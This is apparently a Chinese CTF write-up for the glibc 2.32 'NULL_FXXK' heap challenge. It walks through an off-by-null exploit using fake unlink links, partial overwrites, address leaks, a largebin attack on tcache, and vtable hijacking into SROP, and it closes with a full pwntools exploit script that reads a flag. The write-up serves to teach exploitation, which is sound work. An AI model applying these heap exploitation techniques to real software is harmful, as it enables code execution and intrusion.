正文

glibc2.32中的隔块合并手法与NULL_FXXK题解

admin
admin V管理员 /0 评论 /12 阅读
0321
此篇文章发布距今已超过1193天，您需要注意文章的内容或图片是否可用！

 

保护情况

 

程序分析

rep stos指令

  • rep指令:重复指令ecx次
  • stos:把eax中的值复制到es:EDI指向的地方,每次执行都会增加edi
    • DF标志寄存器决定方向

  • 这一段指令的作用就是把tcache全部设置为0

程序功能

  • Init时,会通过calloc(0x10, 1)-0x290得到一个指向tcache的指针
  • 每次读入cmd时会检查
    • __malloc_hook是否为null
    • __free_hook是否为null
    • 检查libc中偏移0x1e6e98处是否为0x80, 也就是maxfast是否为0x80
    • 把Tcache全部设置为0
  • Add
    • 最多32个指针
    • 0x100<=size<=0x2000
    • ptr = malloc(sz)
    • read(0, ptr, size)
    • ptr[size-1]=0
    • PtrArr[idx] = ptr
    • SizeArr[idx] = size
  • Free
    • 读入idx
    • free(PtrArr[idx])
    • PtrArr[idx]=0
    • SizeArr[idx]=0
  • Show
    • 读入idx
    • write(1, PtrArr[idx], strlen(PtrArr[idx]))
  • Modify
    • 只能运行一次
    • len = read(0, PtrArr[idx], SizeArr[idx])
    • PtrArr[idx][len]=0

 

思路

  • 题目每次都会清空tcache,并且size可以超过0x420
  • 那么对于0x420以内的chunk ,free会被直接吃掉
  • 对于大于0x420的chunk,机制和2.23一样,题目考的是UB相关手法
  • 题目只有一个offset by null,可以用来打P标志
  • 但是再2.32中free合并时有自闭检查+prev_size与size检查,无法使用隔块合并的手法

  • 既然不能先溢出再释放,那么就试试先释放再通过相邻块溢出

-也被堵死了

UB相关的都被堵死

 

解决

  • 只有一个offset by null,还是通过UB隔块合并制造chunk重叠
  • 在libc2.32中由于加入了对prev_size的检查,所以还必须要伪造prev_size,因此无法靠合并已经在UB中的chunk来绕过unlink
  • 因此我们必须自己伪造prev_size与size
  • 至于unlink的检查,则通过堆风水,利用Largebin的nextsize链表+partial overwrite,利用残留信息来伪造自闭链表

堆风水

  • 但是这里partial overwrite也是有限制的,本题写入的时候结尾只能是00
  • 如果B的地址为0x..1200, 那么就要求AC地址也是0x..12XX的格式, 但本题最小chunk为0x110,因此低第三B不可能都是12,所以只能高位相同
  • B的地址为0x120034, 那么就要求AC的地址为0x12XXXX的格式,这个很容易满足

chunk布局

  • 首先至少有A:0x500 A’:0x500 B:0x510 C:0x520三个chunk进入LB来伪造自闭链表
    • (0x500 0x500 0x510 0x520)
  • 为了避免在UB中合并,因此还需要0x110的chunk作为gap, A和A’不会一起释放,所以不需要gap
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x110)
  • 还需要两个chunk一个用来溢出后一个chunk的P标志,一个用来free时触发隔块合并,前一个malloc的size必须为8结尾,后一个chunksize必须与0x100对齐
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x200, 0x300, 0x0x110)
  • 现在可以让(0x510…0x300)之间的chunk都被合并进入UB中, 进入之后还需要一部分区域来进行攻击,越大越好,选择0x2010
    • (0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
  • 由于partial overwrite时结尾为00的限制,因此还需要一切chunk来让0x500 0x510 0x520 的size为0xSS SS SS SS SS SS 00 XX的格式(S表示一样,XX表示任意)
    • (padding 0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)

padding的构造

  • 我们需要把指向A A’ C的指针覆盖为指向B的,并且只能结尾覆盖为00
  • 那么理应让B再地址0x…00XX, 让A’ A C在高处, 因此chunk布局就变成为:
    • (padding, 0x510, 0x500, 0x500, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
  • 先看下没有padding的情况

  • chunk B的addr为0x…b2c0 – 0x10 = 0x…b2b0
  • 为了让达到0x…00XX的格式,至少还要0x10000-0xb2b0 = 0x4d50
  • 因此尝试下0x2010 0x2010 0xd30到三个chunk作为padding

  • 现在指向chunk A’ A C的指针都可以被partial overwrite为指向chunk B的指针

构造自闭链表

  • 首先全部放入UB中

  • 然后再Add一个很大的chunk, 这样就可以触发UB整理, 把ABC按照大小放入LB中, 然后把Add的很大的chunk释放掉,与top chunk合并

  • 先把B拿出来, 把fd bk作为prev_size 和size 字段, 把fd_nextsize bk_nextsize作为fd bk
    • 我们要溢出chunk10, free时 让chunk 10 一直合并到B
    • chunk 10 地址为0x0000555555563760-0x10
    • 我们在B中伪造的FakeChunk地址为0x555555560010
    • 因此prev_size为0x3740

  • 再取出A, partial overwrite 他们的heap指针

  • 此C中已经没有heap指针,所以需要把A’ 放入LB, 来让C有一个可以被partial overwrite为指向B中FakeChunk的指针

  • 然后取出C, partial overwrite C中指向A’的fd指针

  • 至此, 自闭链表就构造完成了

隔块合并

  • 接着就可以利用chunk9去溢出chunk10的P标志,并伪造prev_size实现隔块合并
  • 问题:我们需要free chunk10 ,让chunk10进入UB的逻辑,因此就需要绕过tcache
  • 因此size最小为0x430, 又因为需要与0x100对齐,所以用来触发合并的chunk 10 size应为0x500

成功构造出overlap

泄露堆地址

  • 在unlink前我们有B->bk = C, C->fd=B, 并且C是被索引到的,但由于00截断,无法读出堆地址

  • 但是再unlink时,会有
    • bck = B->bk = C
    • fwd = B->fd = A
    • bck->fd = fwd => C->fd = A
  • 因此A的地址就被写入到了C的开头,并且没有被00截断,我们可以直接show出来

泄露libc地址

  • 任何写入都会被00结尾,因此只能让addr自己出现在可读取的位置
  • 常规思路为切割UB,让idx指向UB中的chunk头,通过UB的fd泄露
  • 但问题是本题的UB的fd是00结尾的,无法show出来

  • 所以只能借助与LB中的fd bk指针
  • heap情况:

  • 我们需要把一个被索引的chunk放入LB中
  • 利用UB的切割机制,就可以, 把UB切割到一个被索引的位置,并且切到小于0x2000,然后申请一个大的chunk,UBchunk就会被整理到LB中

任意写

  • UB的利用需要伪造size, LB则难以伪造链表,两者都有很多先决条件,还是使用tcache进行攻击最方便
  • 因此可以利用LBattack向保存tcache指针的地方写入一个victim地址,从而控制整个tcache结构体

  • 进行LB attack的手法
    • 我们需要把一个被索引的0x510的chunkA放入LB中,然后手中有一个0x500的chunkB
    • free(chunkA) A进入UB, 再Add(0x500)就可修改LB中的chunk
    • 然后free(chunkB)进入UB
    • 再Add(0x2000)触发整理即可像addr2写入被free的chunk地址
  • 再找到存放tcache的地址

  • exp:

Tcache布局

  • 根据计算公示:
    • idx = (chunk_size – 0x20)/0x10, idx从0开始
    • count_addr(idx) = tcache_addr + idx*2
    • entry_addr(idx) = tcache_addr + 0x80 + idx*8
  • 现在tcache位于0x0000555555561540 , 如果我们使用0x400的chunk,那么就有
    • idx = (0x400-0x20)/0x10 = 0x3
    • count_addr(0x3e) = tcache_addr + 0x3e*2 = tcache_addr + 0x7C
    • entry_addr(0x3e) = tcache_addr + 0x80 + 0x3e*8 = tcache_addr + 0x270
  • 由于写入的地址是被free的那个chunk, 所以要据此对0x500那个chunk进行布局
    • 注意:写入的是chunkB地址,我们写入是从chunkB+0x10开始的,所以fake_tcache都要减去0x10

如何劫持执行流

  • 由于无法堆__free_hook进行修改, 因此只能从IO入手
  • 由于本题没有使用流输入输出,所以只能从libc中的输出开始入手
  • libc的ptmalloc中有两种错误输出:
    • __glibc_unlink(…) 这是安全检查, 这种错误信息直接write(STDERR, …) 无法利用
    • assert(…) 这是运行时检查, 错误信息会通过流输出

assert()定义:

#define assert(e) \
    (__builtin_expect(!(e), 0) ? __assert_rtn(__func__, __FILE__, __LINE__, #e) : (void)0)

#define __assert(e, file, line) \
    __eprintf ("%s:%d: failed assertion `%s'\n", file, line, e)

#define eprintf(format, ...) fprintf (stderr, format, __VA_ARGS__)

eprintf()的调用实际就转为vfprintf()的调用

int __fprintf (FILE *stream, const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stream, format, arg, 0);
  va_end (arg);

  return done;
}

在vfprintf()中会进入buffered_vfprintf()

static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags)
{
  CHAR_T buf[BUFSIZ];
  struct helper_file helper;
  FILE *hp = (FILE *) &helper._f; //助手流
  int result, to_flush;

  //...hp初始化
  _IO_JUMPS (&helper._f) = (struct _IO_jump_t *) &_IO_helper_jumps; //为助手流设置虚表:_IO_helper_jumps

  /* Now print to helper instead.  */
  result = vfprintf (hp, format, args, mode_flags); //输出到助手流hp中

  //...
  if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) //如果有要输出的
    {
      if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) //那么就调用s的_IO_sputn全部输入回s
 result = -1;
    }

  //..
  return result;
}
  • 因此assert会转入stderr虚表中的_IO_sputn调用
  • stderr使用_IO_file_jumps作为虚表, 会调用函数_IO_file_xsputn
  • 但问题是我们不仅需要劫持虚表,还需要能控制rdx指向的数据, 这就要求
    • 调用时rdx 指向heap 或者libc中可写区域
    • 函数为虚表函数, 并且可写
  • 在_IO_file_xsputn中, rdx不可控, 但是他会继续调用其他函数,因此我们可以继续跟踪其调用

一路si下去发现,当fflush()调用sync是rdx指向一个libc中可写的区域

并且再2.32下,_IO_file_jumps是可写入的

  • 因此把_IO_file_jumps中的sync修改为setcontext+61, 然后在rdx指向的区域内写入SigreturnFrame即可开启SROP
  • rdx其实指向的另外一个可写入虚表,为了防止SIGV,要保证用到的表项不变

SROP

  • 根据上面的分析,我们需要劫持两个地方:虚表和一个缓冲区
  • 因此需要再tcache中伪造两项

然后劫持虚表即可

 

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name): 
 log.success(name+' = '+hex(eval(name)))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):   #local
 sh = process('./pwn')
 proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]

else:       #remtoe
 sh = remote('node2.hackingfor.fun', 36072)

def Num(num): 
 sh.send(str(num).ljust(0xA, '\x00'))

def Cmd(n):
 sh.recvuntil(">> ")
 Num(n)

def Add(sz, cont=''):
 assert(0x100<=sz and sz<=0x2000)
 Cmd(1)
 sh.recvuntil('Size: ')
 Num(sz)
 sh.recvuntil('Content: ')
 if(cont==''):
  cont='aaa'
 sh.send(cont)

def Edit(idx, cont):
 Cmd(2)
 sh.recvuntil('Index: ')
 Num(idx)
 sh.recvuntil('Content: ')
 sh.send(cont)

def Delete(idx):
 Cmd(3)
 sh.recvuntil('Index: ')
 Num(idx)

def Show(idx):
 Cmd(4)
 sh.recvuntil('Index: ')
 Num(idx)

#padding to align addr
Add(0x2000)   #0
Add(0x2000)   #1
Add(0xd20)   #2

#chunk arrange
Add(0x500)   #3 B, put into LB and unlink(B)
Add(0x4F0)   #4  A'
Add(0x4F0)   #5 A, put into LB 
Add(0x100)   #6 gap
Add(0x510)   #7 C, put into LB
Add(0x2000)   #8 chunk to attack
Add(0x1F8)   #9 chunk to overflow P flag
Add(0x4F0)   #10 chunk to be free 
Add(0x100)   #11 gap to top chunk

#sort A,B,C into UB
Delete(5)   #UB<=>A
Delete(3)   #UB<=>B<=>A
Delete(7)   #UB<=>C<=>B<=>A

#put A,B,C into LB 
Add(0x2000)   #trigger sort, LB<=>C<=>B<=>A
Delete(3)   #big chunk consolidate with top chunk

#forge FakeChunk in B
exp = p64(0)  #prev_size
exp+= p64(0x3740|1) #size
Add(0x500, exp)  #idx: 3; get chunk B, LB<=>C<=>A


#partial overwrite A's bk
exp = p64(0)
exp+= p16(0x0010)
Add(0x4F0, exp)  #idx: 5; A's bk=>B, LB<=>C


#put A' into LB
Delete(4)   #UB<=>A'
Add(0x2000)   #trigger sort, LB<=>C<=>A'
Delete(4)   #consolidate with top chunk

#partial overwrite C's fd
exp = p16(0x0010)
Add(0x510, exp)  #idx:4; C's fd=>B

#chunk overlap
exp = 'A'*0x1F0
exp+= p64(0x3740) #chunk10's prev_size
Edit(9, exp)  #chunk10 's P=0, prev_chunk(chunk10)=>FakeChunk in B
Delete(10)   #UB<=>(FC in B, A', A, 6, C, 8, 9)

#leak heap addr
Show(4)
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x5a10
Log('heap_addr')

#get A' from LB
Add(0x4F0)   #7

#split UB chunk, make it smaller than 0x2010
Add(0x1520)   #UB<=>(8, 9)
Add(0x2000)   #UB<=>(9)

#trigger sort
Add(0x2000)   #LB<=>(9)
Delete(13) 

#leak libc Addr
Show(9)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x1e40b0
Log('libc.address')

tcache_addr = libc.address + 0x1eb538
Log('tcache_addr')

Log("libc.symbols['__free_hook']")

#LB attack to control tcache ptr
_IO_file_jumps_addr = libc.address + 0x1e54c0
jumps_SYNC_addr = _IO_file_jumps_addr + 0x60
fake_tcache = '\x00'*(0x7C-0x10)
fake_tcache+= p16(1)       #counts[0x400] = 1
fake_tcache+= p16(1)       #counts[0x410] = 1
fake_tcache = fake_tcache.ljust(0x270-0x10, '\x00')
fake_tcache+= p64(jumps_SYNC_addr)    #entries[0x400], setcontext
fake_tcache+= p64(libc.address+0x1e48c0)  #entries[0x410], Sigreturn Frame

Delete(12)     #UB<=>(8, 9)
Add(0x4F0, fake_tcache)  #idx: 12; smaller chunkB, tcache_addr = chunkB
Add(0x1b10)     #idx: 13; split
Add(0x500)     #idx: 9,14; chunkA, 
Add(0x1D0)     #idx: 15 remain

Delete(14)   #UB<=>chunkA

Add(0x2000)   #idx: 14; trigger sort: LB<=>chunkA
Delete(14)

Delete(9)   #UB<=>chunkA
exp = p64(0)  #chunkA's prev_size
exp+= p64(0x511) #chunkA's size
exp+= p64(0)  #chunkA's fd
exp+= p64(0)  #chunkA's bk
exp+= p64(0)  #chunkA's fd_nextsize
exp+= p64(tcache_addr-0x20) #chunkA's bk_nextsize
Add(0x6F0, exp)

Delete(12)   #UB<=>chunkB
Add(0x2000)   #trigger sort, now tcache=>fake_tcache

#control vtable
exp = p64(libc.symbols['setcontext']+61) #_IO_file_jumps.SYNC = setcontext+61
exp+= p64(libc.address+0x7e600)    #avoid SIGV
Add(0x3F0, exp)

#GG
rdx_GG = libc.address + 0x14b760 #mov rdx, [rdi+8]; call [rdx+0x20]
pop_rdi = libc.address + 0x2858F
pop_rsi = libc.address + 0x2AC3F
pop_rdx_r12 = libc.address + 0x114161
pop_rax = libc.address + 0x45580
syscall = libc.address + 0x611EA
ret = libc.address + 0x26699

def Call(sys, a, b, c):
 rop = flat(pop_rdi, a)
 rop+= flat(pop_rsi, b)
 rop+= flat(pop_rdx_r12, c, 0)
 rop+= flat(pop_rax, sys)
 rop+= flat(syscall)
 return rop

#SROP
frame = SigreturnFrame()
frame.rsp = heap_addr + 0x6650  #RORW ROP addr
frame.rip = ret
frame.r10 = libc.address + 0x8e520 #avoid SIGV
exp = str(frame)
Add(0x400, exp)  #buffer<=rdx, must be short

#RORW ROP
buf = heap_addr+0x200
exp = '\x00'*0x100     #padding
exp+= Call(0, 0, buf, 0x100)  #read(0, buf, 0x100)
exp+= Call(2, buf, 0, 0)   #open(buf, 0, 0)
exp+= Call(0, 3, buf, 0x100)  #read(3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100)  #write(1, buf, 0x100)

#make assert fail, trigger printf
Add(0x4F0, exp)    #idx:17

NON_MAIN = 4
Delete(9)     #UB<=>A
exp = p64(0)    #chunkA's prev_size
exp+= p64(0x511|NON_MAIN) #chunkA's size
Add(0x6F0, exp)    #idx: 16; chunkA in LB has NON_MAIN bit
Delete(17)     #UB<=>chunk14

Cmd(1)
sh.recvuntil('Size: ')
Num(0x2000)     #trigger

#file name 
sh.send('./flag.txt\x00')

sh.interactive()
'''
'telescope '+hex(proc_base+0x4160)+' 18'
'''

 

总结

  • 堆风水:
    • 利用largebin的fd_nextsize与bk_nextsize来伪造fd bk
    • partial overwrite largebin中chunk的fd bk来构造自闭链表绕过其检查
    • 一共需要A:0x500 A’:0x500 B:0x510 C:0x520 四个chunk, 用B作为被unlink的chunk
  • 泄露堆地址
    • unlink时会把chunk地址写入到fd处
  • 泄露libc地址
    • 让idx索引到largebin中的chunk,利用fd泄露地址
  • 先打出double link
    • 一个索引把chunk释放到UB中,再申请一个大的,把他整理到LB中
    • 另一个索引用来show
  • 任意写手法:
    • 通过malloc把UB中的chunk整理入LargeBin时的LargeBin Attack,来修改tcache指针,从而使用自己伪造的tcache
  • SROP手法
    • 由于__free_hook被禁了,因此只能从IO的虚表入手
    • 由于setcontext使用rdx作为frame指针,因此需要找到一个虚表项, 在调用是rdx指向的位置可控